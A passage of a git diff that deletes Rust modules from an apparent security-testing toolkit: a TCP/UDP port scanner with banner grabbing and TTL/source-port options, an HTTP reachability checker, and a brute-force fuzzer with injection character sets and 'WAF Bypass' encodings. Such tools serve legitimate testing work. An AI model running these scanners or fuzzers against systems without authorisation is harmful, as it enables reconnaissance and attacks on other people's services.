[n]: ").unwrap_or(false) { - Some(prompt_usize("TTL value (1-255): ").unwrap_or(64) as u32) - } else { - None - }; - - let source_port = if prompt_bool("Enable custom Source Port? (y/n) [n]: ").unwrap_or(false) { - Some(prompt_usize("Source Port (1-65535): ").unwrap_or(0) as u16) - } else { - None - }; - - let data_length = if prompt_bool("Enable garbage data / payload padding? (y/n) [n]: ").unwrap_or(false) { - Some(prompt_usize("Data length (bytes): ").unwrap_or(0)) - } else { - None - }; - - Ok(ScanSettings { - concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100), - timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64, - show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true), - verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false), - scan_method, - output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()), - port_range, - ttl, - source_port, - data_length, - }) -} - -/// Main entrypoint for interactive CLI mode -pub async fn run_interactive(target: &str) -> Result<()> { - let settings = prompt_settings()?; - run_with_settings( - target, - settings.concurrency, - settings.timeout_secs, - settings.show_only_open, - settings.verbose, - settings.scan_method, - &settings.output_file, - settings.port_range, - settings.ttl, - settings.source_port, - settings.data_length, - ) - .await -} - -pub async fn run(target: &str) -> Result<()> { - run_interactive(target).await -} - -/// === Core Scanner Logic === -pub async fn run_with_settings( - target: &str, - concurrency: usize, - timeout_secs: u64, - show_only_open: bool, - _verbose: bool, - scan_method: ScanMethod, - output_file: &str, - port_range: PortRange, - ttl: Option, - source_port: Option, - data_length: Option, -) -> Result<()> { - let start_time = Instant::now(); - let (resolved_ip_str, resolved_ip) = resolve_target(target)?; - let semaphore = Arc::new(Semaphore::new(concurrency)); - let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?))); - - let ports = port_range.get_ports(); - let total_ports = ports.len() * (if scan_method == ScanMethod::Both { 2 } else { 1 }); - - let stats = Arc::new(Mutex::new(ScanStats::new())); - let progress = Arc::new(Mutex::new(ProgressTracker::new(total_ports))); - - println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold()); - println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan()); - writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?; - let timestamp = std::time::SystemTime::now() - .duration_since(std::time::UNIX_EPOCH) - .unwrap_or(Duration::from_secs(0)) - .as_secs(); - writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Scan started at: {}\n", timestamp)?; - - // TCP Scan - let mut tcp_tasks = vec![]; - - if scan_method == ScanMethod::TcpConnect || scan_method == ScanMethod::Both { - println!("{}", "\n[*] Starting TCP scan...".yellow()); - for port in &ports { - let permit = semaphore.clone().acquire_owned().await?; - let file = file.clone(); - let stats = stats.clone(); - let progress = progress.clone(); - let ip = resolved_ip; - let ip_str = resolved_ip_str.clone(); - let port = *port; - - let handle = tokio::spawn(async move { - let _permit = permit; - let result = scan_tcp(&ip, port, timeout_secs, ttl, source_port, data_length).await; - - let mut stats_guard = stats.lock().unwrap_or_else(|e| e.into_inner()); - let mut progress_guard = progress.lock().unwrap_or_else(|e| e.into_inner()); - - if let Some((status, banner, service)) = result { - match status.as_str() { - "OPEN" => { - stats_guard.tcp_open += 1; - let service_name = if service.is_empty() { get_service_name(port) } else { &service }; - let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green()); - - if !show_only_open { - let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line); - } - - let output_line = if !banner.is_empty() { - format!("{} | Banner: {}", line, banner.trim().bright_black()) - } else { - line - }; - - let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", output_line); - println!("{}", output_line); - } - "CLOSED" => stats_guard.tcp_closed += 1, - "TIMEOUT" | "FILTERED" => stats_guard.tcp_filtered += 1, - _ => {} - } - } - - progress_guard.increment(&start_time); - if progress_guard.should_print() { - progress_guard.print_progress(); - } - }); - tcp_tasks.push(handle); - } - } - - // UDP Scan - let mut udp_tasks = vec![]; - if scan_method == ScanMethod::Udp || scan_method == ScanMethod::Both { - println!("{}", "\n[*] Starting UDP scan...".yellow()); - for port in &ports { - let permit = semaphore.clone().acquire_owned().await?; - let file = file.clone(); - let stats = stats.clone(); - let progress = progress.clone(); - let ip = resolved_ip; - let ip_str = resolved_ip_str.clone(); - let port = *port; - - let handle = tokio::spawn(async move { - let _permit = permit; - let result = scan_udp(&ip, port, timeout_secs, ttl, source_port, data_length).await; - - let mut stats_guard = stats.lock().unwrap_or_else(|e| e.into_inner()); - let mut progress_guard = progress.lock().unwrap_or_else(|e| e.into_inner()); - - if let Some(status) = result { - match status.as_str() { - "OPEN" => { - stats_guard.udp_open += 1; - let service_name = get_service_name(port); - let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green()); - - if !show_only_open { - let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line); - } - - let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line); - println!("{}", line); - } - "CLOSED" => stats_guard.udp_closed += 1, - "FILTERED" => stats_guard.udp_filtered += 1, - _ => {} - } - } - - progress_guard.increment(&start_time); - if progress_guard.should_print() { - progress_guard.print_progress(); - } - }); - udp_tasks.push(handle); - } - } - - // Await all tasks - for task in tcp_tasks { - let _ = task.await; - } - for task in udp_tasks { - let _ = task.await; - } - - let elapsed = start_time.elapsed(); - let stats = stats.lock().unwrap_or_else(|e| e.into_inner()); - - // Print summary - println!("\n{}", "=== Scan Summary ===".cyan().bold()); - println!("{}", format!("Scan duration: {:.2} seconds", elapsed.as_secs_f64()).green()); - println!("\n{}", "TCP Ports:".yellow()); - println!(" {} Open: {}", "✓".green(), stats.tcp_open.to_string().green().bold()); - println!(" {} Closed: {}", "✗".red(), stats.tcp_closed); - println!(" {} Filtered/Timeout: {}", "~".yellow(), stats.tcp_filtered); - - if scan_method == ScanMethod::Udp || scan_method == ScanMethod::Both { - println!("\n{}", "UDP Ports:".yellow()); - println!(" {} Open: {}", "✓".green(), stats.udp_open.to_string().green().bold()); - println!(" {} Closed: {}", "✗".red(), stats.udp_closed); - println!(" {} Filtered: {}", "~".yellow(), stats.udp_filtered); - } - - println!("\n{}", format!("[*] Results saved to {}", output_file).cyan()); - - // Write summary to file - writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\n=== Scan Summary ===")?; - writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?; - writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\nTCP Ports:")?; - writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Open: {}", stats.tcp_open)?; - writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Closed: {}", stats.tcp_closed)?; - writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Filtered/Timeout: {}", stats.tcp_filtered)?; - if scan_method == ScanMethod::Udp || scan_method == ScanMethod::Both { - writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\nUDP Ports:")?; - writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Open: {}", stats.udp_open)?; - writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Closed: {}", stats.udp_closed)?; - writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Filtered: {}", stats.udp_filtered)?; - } - - Ok(()) -} - -/// === TCP Port Scanner with Enhanced Banner Grabbing === -async fn scan_tcp( - ip: &std::net::IpAddr, - port: u16, - timeout_secs: u64, - ttl: Option, - source_port: Option, - data_length: Option -) -> Option<(String, String, String)> { - let addr = SocketAddr::new(*ip, port); - - // Create socket using socket2 - let domain = if addr.is_ipv4() { Domain::IPV4 } else { Domain::IPV6 }; - let socket = match Socket::new(domain, Type::STREAM, Some(Protocol::TCP)) { - Ok(s) => s, - Err(_) => return Some(("ERROR".into(), "".into(), "".into())), - }; - - // Set options - if let Some(ttl_val) = ttl { - if domain == Domain::IPV4 { - let _ = socket.set_ttl_v4(ttl_val); - } else { - let _ = socket.set_unicast_hops_v6(ttl_val); - } - } - - let _ = socket.set_nonblocking(true); - let _ = socket.set_tcp_nodelay(true); - - // Bind to custom source port if configured - if let Some(src_port) = source_port { - let bind_addr = if addr.is_ipv4() { - SocketAddr::new(std::net::IpAddr::V4(std::net::Ipv4Addr::new(0, 0, 0, 0)), src_port) - } else { - SocketAddr::new(std::net::IpAddr::V6(std::net::Ipv6Addr::new(0, 0, 0, 0, 0, 0, 0, 0)), src_port) - }; - let _ = socket.bind(&bind_addr.into()); - } - - // Connect (non-blocking) - let connect_res = socket.connect(&addr.into()); - match connect_res { - Ok(_) => {}, - Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => {}, - Err(_) => return Some(("CLOSED".into(), "".into(), "".into())), - } - - // Convert to Tokio TcpStream - let std_stream: std::net::TcpStream = socket.into(); - let stream_res = TcpStream::from_std(std_stream); - - match stream_res { - Ok(mut stream) => { - // Wait for connection to complete - if let Ok(_) = timeout(Duration::from_secs(timeout_secs), stream.writable()).await { - // Check for socket error - if let Ok(None) = stream.take_error() { - // Send garbage data if configured - if let Some(len) = data_length { - if len > 0 { - let payload: Vec = { - let mut rng = rng(); - (0..len).map(|_| rng.random()).collect() - }; - let _ = stream.write_all(&payload).await; - } - } - - // Try service-specific probes - let (banner, service) = grab_banner(&mut stream, port).await; - Some(("OPEN".into(), banner, service)) - } else { - Some(("CLOSED".into(), "".into(), "".into())) - } - } else { - Some(("TIMEOUT".into(), "".into(), "".into())) - } - } - Err(_) => Some(("CLOSED".into(), "".into(), "".into())), - } -} - -/// Enhanced banner grabbing with service-specific probes -async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) { - let mut buf = [0u8; 2048]; - - // Try to read initial banner (works for FTP, SMTP, POP3, etc.) - match timeout(Duration::from_secs(2), stream.read(&mut buf)).await { - Ok(Ok(n)) if n > 0 => { - let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string(); - let service = detect_service_from_banner(&banner, port); - return (banner, service); - } - _ => {} - } - - // Service-specific probes - match port { - 80 | 8080 => { - // HTTP probe - if let Ok(_) = stream.write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n").await { - if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await { - if n > 0 { - let response = String::from_utf8_lossy(&buf[..n]); - if let Some(server) = extract_http_server(&response) { - return (response.trim().to_string(), format!("HTTP ({})", server)); - } - return (response.trim().to_string(), "HTTP".into()); - } - } - } - } - 443 => { - // HTTPS - can't easily probe without TLS, just return empty - return ("".into(), "HTTPS".into()); - } - 22 => { - // SSH - read SSH banner - if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await { - if n > 0 { - let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string(); - return (banner, "SSH".into()); - } - } - } - _ => { - // Try reading again for other services - if let Ok(Ok(n)) = timeout(Duration::from_secs(1), stream.read(&mut buf)).await { - if n > 0 { - let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string(); - let service = detect_service_from_banner(&banner, port); - return (banner, service); - } - } - } - } - - ("".into(), "".into()) -} - -fn detect_service_from_banner(banner: &str, port: u16) -> String { - let banner_lower = banner.to_lowercase(); - - if banner_lower.contains("ssh") { - "SSH".into() - } else if banner_lower.contains("ftp") { - "FTP".into() - } else if banner_lower.contains("smtp") { - "SMTP".into() - } else if banner_lower.contains("pop3") { - "POP3".into() - } else if banner_lower.contains("imap") { - "IMAP".into() - } else if banner_lower.contains("http") { - "HTTP".into() - } else if banner_lower.contains("mysql") { - "MySQL".into() - } else { - get_service_name(port).to_string() - } -} - -fn extract_http_server(response: &str) -> Option { - for line in response.lines() { - if line.to_lowercase().starts_with("server:") { - return Some(line.split(':').nth(1).unwrap_or("").trim().to_string()); - } - } - None -} - -/// === UDP Port Scanner === -async fn scan_udp( - ip: &std::net::IpAddr, - port: u16, - timeout_secs: u64, - ttl: Option, - source_port: Option, - data_length: Option -) -> Option { - // Bind address (source port logic) - let bind_port = source_port.unwrap_or(0); - let bind_addr = if ip.is_ipv4() { - SocketAddr::new(std::net::IpAddr::V4(std::net::Ipv4Addr::new(0, 0, 0, 0)), bind_port) - } else { - SocketAddr::new(std::net::IpAddr::V6(std::net::Ipv6Addr::new(0, 0, 0, 0, 0, 0, 0, 0)), bind_port) - }; - - let sock = match UdpSocket::bind(bind_addr).await { - Ok(s) => s, - Err(_) => return Some("ERROR".into()), - }; - - // Set TTL if configured - if let Some(ttl_val) = ttl { - let _ = sock.set_ttl(ttl_val); - } - - let target = SocketAddr::new(*ip, port); - - // Payload generation - let payload = if let Some(len) = data_length { - if len > 0 { - let mut rng = rng(); - (0..len).map(|_| rng.random()).collect() - } else { - b"\x00\x00\x10\x10".to_vec() - } - } else { - b"\x00\x00\x10\x10".to_vec() - }; - - let _ = sock.send_to(&payload, target).await; - - let mut buf = [0u8; 512]; - match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await { - Ok(Ok((_len, _src))) => Some("OPEN".into()), - Ok(Err(_)) => Some("CLOSED".into()), - Err(_) => Some("FILTERED".into()), - } -} - -/// === Target Resolution === -fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> { - let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']'); - let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect(); - if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) { - Ok((addr.ip().to_string(), addr.ip())) - } else if let Some(addr) = addrs.first() { - Ok((addr.ip().to_string(), addr.ip())) - } else { - Err(anyhow!("Could not resolve target '{}'", input)) - } -} - -/// === Prompt Utilities === -fn prompt(message: &str) -> Result { - print!("{}", message.cyan().bold()); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut buf = String::new(); - std::io::stdin() - .read_line(&mut buf) - .context("Failed to read input")?; - Ok(buf.trim().to_string()) -} - -fn prompt_bool(message: &str) -> Result { - loop { - let input = prompt(message)?; - if input.is_empty() { - return Ok(false); - } - match input.to_lowercase().as_str() { - "y" | "yes" => return Ok(true), - "n" | "no" => return Ok(false), - _ => println!("{}", "Please enter 'y' or 'n'.".yellow()), - } - } -} - -fn prompt_usize(message: &str) -> Result { - loop { - let input = prompt(message)?; - if input.is_empty() { - return Err(anyhow!("Input required")); - } - if let Ok(n) = input.parse::() { - return Ok(n); - } - println!("{}", "Please enter a valid number.".yellow()); - } -} - -/// === Scan Statistics === -struct ScanStats { - tcp_open: usize, - tcp_closed: usize, - tcp_filtered: usize, - udp_open: usize, - udp_closed: usize, - udp_filtered: usize, -} - -impl ScanStats { - fn new() -> Self { - ScanStats { - tcp_open: 0, - tcp_closed: 0, - tcp_filtered: 0, - udp_open: 0, - udp_closed: 0, - udp_filtered: 0, - } - } -} - -/// === Progress Tracker === -struct ProgressTracker { - total: usize, - current: usize, - last_print: usize, - start_time: Option, -} - -impl ProgressTracker { - fn new(total: usize) -> Self { - ProgressTracker { - total, - current: 0, - last_print: 0, - start_time: None, - } - } - - fn increment(&mut self, start_time: &Instant) { - if self.start_time.is_none() { - self.start_time = Some(*start_time); - } - self.current += 1; - } - - fn should_print(&self) -> bool { - let diff = self.current - self.last_print; - diff >= 100 || self.current == self.total - } - - fn print_progress(&mut self) { - if self.current == 0 { - return; - } - - let percentage = (self.current as f64 / self.total as f64) * 100.0; - let elapsed = match self.start_time { - Some(s) => s.elapsed(), - None => std::time::Duration::ZERO, - }; - - let rate = if elapsed.as_secs() > 0 { - self.current as f64 / elapsed.as_secs() as f64 - } else { - 0.0 - }; - - let remaining = if rate > 0.0 { - (self.total - self.current) as f64 / rate - } else { - 0.0 - }; - - print!("\r{}", format!( - "[*] Progress: {}/{} ({:.1}%) | Rate: {:.0} ports/sec | ETA: {:.0}s", - self.current, - self.total, - percentage, - rate, - remaining - ).cyan()); - // Note: This is in a sync context (ProgressTracker), so we use blocking flush - // The ProgressTracker is called from async context but uses sync printing - let _ = std::io::Write::flush(&mut std::io::stdout()); - - if self.current == self.total { - println!(); - } - - self.last_print = self.current; - } -} - - diff --git a/src/modules/scanners/sample_scanner.rs b/src/modules/scanners/sample_scanner.rs deleted file mode 100644 index cd1118a..0000000 --- a/src/modules/scanners/sample_scanner.rs +++ /dev/null @@ -1,215 +0,0 @@ -use anyhow::{anyhow, Context, Result}; -use colored::*; -use reqwest::Client; -use std::fs::File; -use std::io::Write; - -use std::time::{Duration, Instant}; - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ HTTP Connectivity Scanner ║".cyan()); - println!("{}", "║ Checks HTTP/HTTPS reachability and response codes ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -pub async fn run(target: &str) -> Result<()> { - display_banner(); - - println!("{}", format!("[*] Target: {}", target).cyan()); - - let timeout_secs = prompt_timeout()?; - let check_http = prompt_bool("Check HTTP (port 80)?", true)?; - let check_https = prompt_bool("Check HTTPS (port 443)?", true)?; - let verbose = prompt_bool("Verbose output?", false)?; - let save_results = prompt_bool("Save results to file?", false)?; - - if !check_http && !check_https { - return Err(anyhow!("At least one protocol must be selected")); - } - - let client = Client::builder() - .timeout(Duration::from_secs(timeout_secs)) - .danger_accept_invalid_certs(true) - .build() - .context("Failed to build HTTP client")?; - - let mut results = Vec::new(); - let start = Instant::now(); - - println!(); - println!("{}", "[*] Starting scan...".cyan().bold()); - - // Check HTTP - if check_http { - let url = if target.contains("://") { - target.to_string() - } else { - format!("http://{}", target) - }; - - if verbose { - println!("{}", format!("[*] Checking {}...", url).dimmed()); - } - - match client.get(&url).send().await { - Ok(resp) => { - let status = resp.status(); - let status_str = status.to_string(); - let content_type = resp.headers() - .get("content-type") - .map(|v| v.to_str().unwrap_or("unknown")) - .unwrap_or("unknown"); - let server = resp.headers() - .get("server") - .map(|v| v.to_str().unwrap_or("unknown")) - .unwrap_or("unknown"); - - if status.is_success() { - println!("{}", format!("[+] HTTP {} -> {} (Server: {}, Content-Type: {})", - url, status_str, server, content_type).green()); - } else if status.is_redirection() { - let location = resp.headers() - .get("location") - .map(|v| v.to_str().unwrap_or("unknown")) - .unwrap_or("unknown"); - println!("{}", format!("[~] HTTP {} -> {} (Redirect: {})", url, status_str, location).yellow()); - } else { - println!("{}", format!("[-] HTTP {} -> {}", url, status_str).red()); - } - - results.push(format!("HTTP {} -> {} (Server: {})", url, status_str, server)); - } - Err(e) => { - println!("{}", format!("[-] HTTP {} -> Error: {}", url, e).red()); - results.push(format!("HTTP {} -> Error: {}", url, e)); - } - } - } - - // Check HTTPS - if check_https { - let url = if target.contains("://") { - target.replace("http://", "https://") - } else { - format!("https://{}", target) - }; - - if verbose { - println!("{}", format!("[*] Checking {}...", url).dimmed()); - } - - match client.get(&url).send().await { - Ok(resp) => { - let status = resp.status(); - let status_str = status.to_string(); - let server = resp.headers() - .get("server") - .map(|v| v.to_str().unwrap_or("unknown")) - .unwrap_or("unknown"); - let content_type = resp.headers() - .get("content-type") - .map(|v| v.to_str().unwrap_or("unknown")) - .unwrap_or("unknown"); - - if status.is_success() { - println!("{}", format!("[+] HTTPS {} -> {} (Server: {}, Content-Type: {})", - url, status_str, server, content_type).green()); - } else if status.is_redirection() { - let location = resp.headers() - .get("location") - .map(|v| v.to_str().unwrap_or("unknown")) - .unwrap_or("unknown"); - println!("{}", format!("[~] HTTPS {} -> {} (Redirect: {})", url, status_str, location).yellow()); - } else { - println!("{}", format!("[-] HTTPS {} -> {}", url, status_str).red()); - } - - results.push(format!("HTTPS {} -> {} (Server: {})", url, status_str, server)); - } - Err(e) => { - println!("{}", format!("[-] HTTPS {} -> Error: {}", url, e).red()); - results.push(format!("HTTPS {} -> Error: {}", url, e)); - } - } - } - - let elapsed = start.elapsed(); - - // Print summary - println!(); - println!("{}", "=== Scan Summary ===".bold()); - println!(" Target: {}", target); - println!(" Duration: {:.2}s", elapsed.as_secs_f64()); - println!(" Checks: {}", results.len()); - - // Save results - if save_results && !results.is_empty() { - let filename = prompt_with_default("Output filename", "http_scan_results.txt")?; - let mut file = File::create(&filename).context("Failed to create output file")?; - writeln!(file, "HTTP Connectivity Scan Results")?; - writeln!(file, "Target: {}", target)?; - writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64())?; - writeln!(file)?; - for result in &results { - writeln!(file, "{}", result)?; - } - println!("{}", format!("[+] Results saved to '{}'", filename).green()); - } - - Ok(()) -} - -fn prompt_bool(message: &str, default: bool) -> Result { - let hint = if default { "Y/n" } else { "y/N" }; - print!("{}", format!("{} [{}]: ", message, hint).cyan().bold()); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - let trimmed = input.trim().to_lowercase(); - match trimmed.as_str() { - "" => Ok(default), - "y" | "yes" => Ok(true), - "n" | "no" => Ok(false), - _ => Ok(default), - } -} - -fn prompt_with_default(message: &str, default: &str) -> Result { - print!("{}", format!("{} [{}]: ", message, default).cyan().bold()); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - let trimmed = input.trim(); - if trimmed.is_empty() { - Ok(default.to_string()) - } else { - Ok(trimmed.to_string()) - } -} - -fn prompt_timeout() -> Result { - print!("{}", "Timeout in seconds [10]: ".cyan().bold()); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - let trimmed = input.trim(); - if trimmed.is_empty() { - Ok(10) - } else { - trimmed.parse().map_err(|_| anyhow!("Invalid timeout")) - } -} diff --git a/src/modules/scanners/sequential_fuzzer.rs b/src/modules/scanners/sequential_fuzzer.rs deleted file mode 100644 index 16e045c..0000000 --- a/src/modules/scanners/sequential_fuzzer.rs +++ /dev/null @@ -1,555 +0,0 @@ -use anyhow::{Result, Context}; -use colored::*; -use reqwest::{Client, header}; -use serde::{Deserialize, Serialize}; -use std::collections::HashMap; -use std::fs::{self, OpenOptions}; -use std::io::Write; -use std::fmt::Write as FmtWrite; // Rename to avoid conflict with io::Write -use std::sync::Arc; -use std::time::Duration; -use tokio::sync::{mpsc, Semaphore}; -use crate::utils::{ - prompt_required, prompt_default, prompt_yes_no, normalize_target, prompt_existing_file -}; -use base64::{Engine as _, engine::general_purpose}; -use rand::seq::IndexedRandom; - -// --- Enums & Config --- - -#[derive(Serialize, Deserialize, Debug, Clone, Copy, PartialEq)] -pub enum EncodingType { - None, - Url, - DoubleUrl, - Hex, - Unicode, - HtmlEntity, - Decimal, - Octal, - Base64, - Mixed, -} - -#[derive(Serialize, Deserialize, Debug, Clone)] -pub struct SequentialFuzzerConfig { - pub target_url: String, - pub charset_mode: u8, // 1=SQL, 2=Traversal, 3=Cmd, 4=All, 5=Custom - pub custom_charset: Option, - pub min_length: usize, - pub max_length: usize, - pub encoding: EncodingType, - pub concurrency: usize, - pub cookies: Option, - pub verbose: bool, -} - -impl Default for SequentialFuzzerConfig { - fn default() -> Self { - Self { - target_url: String::new(), - charset_mode: 4, - custom_charset: None, - min_length: 1, - max_length: 3, - encoding: EncodingType::None, - concurrency: 50, - cookies: None, - verbose: false, - } - } -} - -struct FuzzResult { - path: String, - status: u16, - size: u64, -} - -// --- Charsets --- - -const CHARSET_SQL: &str = "'\";-/*="; -const CHARSET_TRAVERSAL: &str = "./\\"; -const CHARSET_CMD: &str = "|;&$()<> '\""; -const CHARSET_ALL: &str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_=+[]{};:'\",.<>/?|`~"; - -fn get_charset(config: &SequentialFuzzerConfig) -> Vec { - match config.charset_mode { - 1 => CHARSET_SQL.chars().collect(), - 2 => CHARSET_TRAVERSAL.chars().collect(), - 3 => CHARSET_CMD.chars().collect(), - 5 => config.custom_charset.as_deref().unwrap_or("").chars().collect(), - _ => CHARSET_ALL.chars().collect(), - } -} - -// --- Encoding Logic --- - -fn encode_payload(input: &str, encoding: EncodingType) -> String { - match encoding { - EncodingType::None => input.to_string(), - EncodingType::Url => urlencoding::encode(input).to_string(), - EncodingType::DoubleUrl => urlencoding::encode(&urlencoding::encode(input).to_string()).to_string(), - EncodingType::Hex => { - input.chars().map(|c| format!("\\x{:02X}", c as u8)).collect() - }, - EncodingType::Unicode => { - input.chars().map(|c| format!("\\u00{:02X}", c as u8)).collect() - }, - EncodingType::HtmlEntity => { - input.chars().map(|c| { - match c { - '"' => """.to_string(), - '\'' => "'".to_string(), - '<' => "<".to_string(), - '>' => ">".to_string(), - '&' => "&".to_string(), - _ => c.to_string() - } - }).collect() - }, - EncodingType::Decimal => { - input.chars().map(|c| format!("&#{};", c as u8)).collect() - }, - EncodingType::Octal => { - input.chars().map(|c| format!("\\{:03o}", c as u8)).collect() - }, - EncodingType::Base64 => { - general_purpose::STANDARD.encode(input) - }, - EncodingType::Mixed => { - // Randomly apply an encoding per character (simplified: raw or url or hex) - let mut rng = rand::rng(); - input.chars().map(|c| { - match [0, 1, 2].choose(&mut rng).unwrap_or(&0) { - 0 => c.to_string(), - 1 => format!("%{:02X}", c as u8), - _ => format!("\\x{:02X}", c as u8), - } - }).collect() - } - } -} - -// --- Main Entry --- - -pub async fn run(target: &str) -> Result<()> { - print_banner(); - - // Menu - println!("{}", "Select Operation Mode:".cyan().bold()); - println!("1. Quick Attack (All ASCII, No Encoding)"); - println!("2. Create Template (Wizard -> Save)"); - println!("3. Load Template (Load -> Run)"); - println!("4. Custom Attack (Wizard -> Run)"); - - let choice = prompt_default("Selection", "1")?; - - let config = match choice.as_str() { - "1" => setup_quick_attack(target).await?, - "2" => { - let cfg = setup_wizard(target).await?; - save_template(&cfg).await?; - println!("\n{}", "Template saved. Exiting module.".green()); - return Ok(()); - }, - "3" => load_template().await?, - "4" => setup_wizard(target).await?, - _ => { - println!("{}", "Invalid selection. Defaulting to Quick Attack.".yellow()); - setup_quick_attack(target).await? - } - }; - - execute_fuzz(config).await -} - -fn print_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ Sequential Fuzzer (Brute Force) ║".cyan()); - println!("{}", "║ Features: Actor Storage, 10 Encodings, Instant Saving ║".red()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); -} - -// --- Setup --- - -async fn setup_quick_attack(initial_target: &str) -> Result { - println!("\n{}", "--- Quick Attack Setup ---".blue().bold()); - let url = parse_target_interactive(initial_target).await?; - - // Forced Input for Reliability - let min_len_str = prompt_required("Min Sequence Length (e.g. 1)")?; - let min_len: usize = min_len_str.parse().unwrap_or(1); - - let max_len_str = prompt_required("Max Sequence Length (e.g. 3)")?; - let max_len: usize = max_len_str.parse().unwrap_or(3); - - let verbose = prompt_yes_no("Verbose Mode? (Print all 403s)", false)?; - - Ok(SequentialFuzzerConfig { - target_url: url, - charset_mode: 4, // All - min_length: min_len, - max_length: max_len, - encoding: EncodingType::None, - concurrency: 50, - verbose, - ..SequentialFuzzerConfig::default() - }) -} - -async fn setup_wizard(initial_target: &str) -> Result { - println!("\n{}", "--- Configuration Wizard ---".blue().bold()); - - // 1. Target - let url = parse_target_interactive(initial_target).await?; - - // 2. Charset - println!("\n{}", "Select Charset:".cyan()); - println!("1. SQL Injection ({})", CHARSET_SQL); - println!("2. Path Traversal ({})", CHARSET_TRAVERSAL); - println!("3. Command Injection ({})", CHARSET_CMD); - println!("4. All Printable ASCII (Standard Brute)"); - println!("5. Custom"); - - let c_mode_str = prompt_required("Charset Selection (1-5)")?; - let c_mode: u8 = c_mode_str.parse().unwrap_or(4); - - let custom = if c_mode == 5 { - Some(prompt_required("Custom Charset String")?) - } else { - None - }; - - // 3. Lengths - // Using prompt_required to prevent skipping issues with buffered inputs - let min_len_str = prompt_required("Min Sequence Length (e.g. 1)")?; - let min_len: usize = min_len_str.parse().unwrap_or(1); - - let max_len_str = prompt_required("Max Sequence Length (e.g. 3)")?; - let max_len: usize = max_len_str.parse().unwrap_or(3); - - if max_len > 4 && c_mode == 4 { - println!("{}", "[!] Warning: Brute forcing printable ASCII > 4 chars will take a VERY long time.".yellow()); - } - - // 4. Encoding - println!("\n{}", "Select Encoding (WAF Bypass):".cyan()); - println!("0. None (Raw)"); - println!("1. URL Encode (%XX)"); - println!("2. Double URL Encode (%25XX)"); - println!("3. Hex Encode (\\xXX)"); - println!("4. Unicode (\\u00XX)"); - println!("5. HTML Entity (")"); - println!("6. Decimal (&#DDD;)"); - println!("7. Octal (\\OOO)"); - println!("8. Base64"); - println!("9. Mixed/Random"); - - let enc_choice_str = prompt_required("Encoding Selection (0-9)")?; - let enc_choice: u8 = enc_choice_str.parse().unwrap_or(0); - - let encoding = match enc_choice { - 1 => EncodingType::Url, - 2 => EncodingType::DoubleUrl, - 3 => EncodingType::Hex, - 4 => EncodingType::Unicode, - 5 => EncodingType::HtmlEntity, - 6 => EncodingType::Decimal, - 7 => EncodingType::Octal, - 8 => EncodingType::Base64, - 9 => EncodingType::Mixed, - _ => EncodingType::None, - }; - - // 5. Config - let concurrency_str = prompt_required("Concurrency (Threads)")?; - let concurrency: usize = concurrency_str.parse().unwrap_or(50); - - let cookies = if prompt_yes_no("Add Cookies?", false)? { - Some(prompt_required("Cookie Header Value")?) - } else { - None - }; - - let verbose = prompt_yes_no("Verbose Mode? (Print all 403s)", false)?; - - Ok(SequentialFuzzerConfig { - target_url: url, - charset_mode: 